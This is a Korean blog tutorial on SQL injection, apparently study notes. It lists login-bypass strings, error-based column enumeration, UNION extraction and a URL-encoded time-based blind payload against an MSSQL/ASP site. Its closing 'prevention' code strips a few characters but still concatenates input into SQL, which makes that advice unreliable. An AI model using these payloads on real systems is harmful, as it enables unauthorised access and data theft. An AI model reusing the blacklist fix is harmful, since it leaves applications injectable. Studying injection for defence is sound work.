Simple is IT, 누구나 보고 누구나 깨닫는 IT

WEB 해킹 및 보안 취약점 파악(SQL 인젝션) 본문

Simple is IT/Security

WEB 해킹 및 보안 취약점 파악(SQL 인젝션)

currenjin 2020. 4. 27. 10:33

(OWASP Top Ten)

전 세계에서 가장 많이 발생하는 취약점 리스트이다.(주로 확인하게 될 내용)

인젝션(SQL, OS, XXE, LDAP 등)

SQL(Bypass, Blind)

로그인 환경에서 SQL 쿼리문을 이용한 공격

Bypass

1' or '1'='1'##

위 로그인 환경의 DB 쿼리 부분이다.

: Select * From member where Id = 'id' and Pass= 'pw'

id 부분에서 1' or '1'='1'-- 를 집어넣게되면

-> Select * From member where ld = '1' or '1' = '1'##' and Pass= 'pw'

-> id부분에 넣은 내용으로 인해 참이 되었고 -- 은 뒷 내용의 주석을 의미한다.(MSsql : --)

그렇기 때문에 로그인을 진행하게되면

비정상적으로 로그인 적용

! 만약 ID 형식이 Email일 경우 html body에서 'type : text' 로 변경 후 진행

!! 1' or '1' = '1'## 대신 '=''# 도 되었다.

Blind(Error based)

1' having 1=1-- (테이블 이름, 첫번째 칼럼 이름)

1' group by [칼럼 이름] having 1=1-- (두번째 칼럼 이름)

1' group by [칼럼 이름], [칼럼 이름] having 1=1-- (세번째 칼럼 이름)

칸이 적으면 html size up

1' group by member.idx having 1=1--

1' group by member.idx, member.bId having 1=1--

...

...

전체적인 테이블 구조를 알아본 결과 다음과 같이 테이블의 칼럼구조를 알 수 있었다.

member(Table)

: idx, bId, bPass, bName, bPost, bAddr1, bAddr2, bPhone, bmail, bdata

이제 이 테이블을 이용해 JOIN, SubQuery 등을 이용할 것이다.

(Select 문에서 여러 테이블을 조회할 수 있는 쿼리문)

회원가입의 주소검색 란에서 UNION을 이용한 Query문을 전송한다.

member 테이블의 사용자 칼럼의 값들이 출력되는 모습이다.

Blind(Time Based)

http://[서버IP]/board_view.asp?num=1;if%20ascii(substring((select%20top%201%20bid%20from%20member),2,1))=100%20waitfor%20delay%20%2700:00:05%27--

내용이 보기에 복잡하다. 풀어쓰면

if ascii(substring((select top 1 bid from member),2,1))=100 waitfor delay '00:00:05'--

1. member 테이블의 bid 칼럼에서 가장 첫 번째 있는 값의 ascii code와 =100 부분을 비교한다.(ascii code)

2. 맞으면 5초 wait 다르면 바로 화면 출력

이렇게 숫자 값을 바꿔나가다보면 해당 계정과 일치하는 코드를 알 수 있을 것이다.(노가다)

위 공격들의 예방법

input_id = input_id.replaceAll("'", "");

input_id = input_id.replaceAll("#", "");

input_id = input_id.replaceAll("-", ""); // 치환

String sql = "SELECT id,pw,name FROM member " +" WHERE id='"+input_id+"'"; System.out.println(sql);

rs = stmt.executeQuery(sql);

rs.next(); String db_pw = rs.getString("pw");

if(db_pw.equals(input_pw)) { // ID, PW 따로 입력받아 조건문으로 비교를 진행한다.



Comments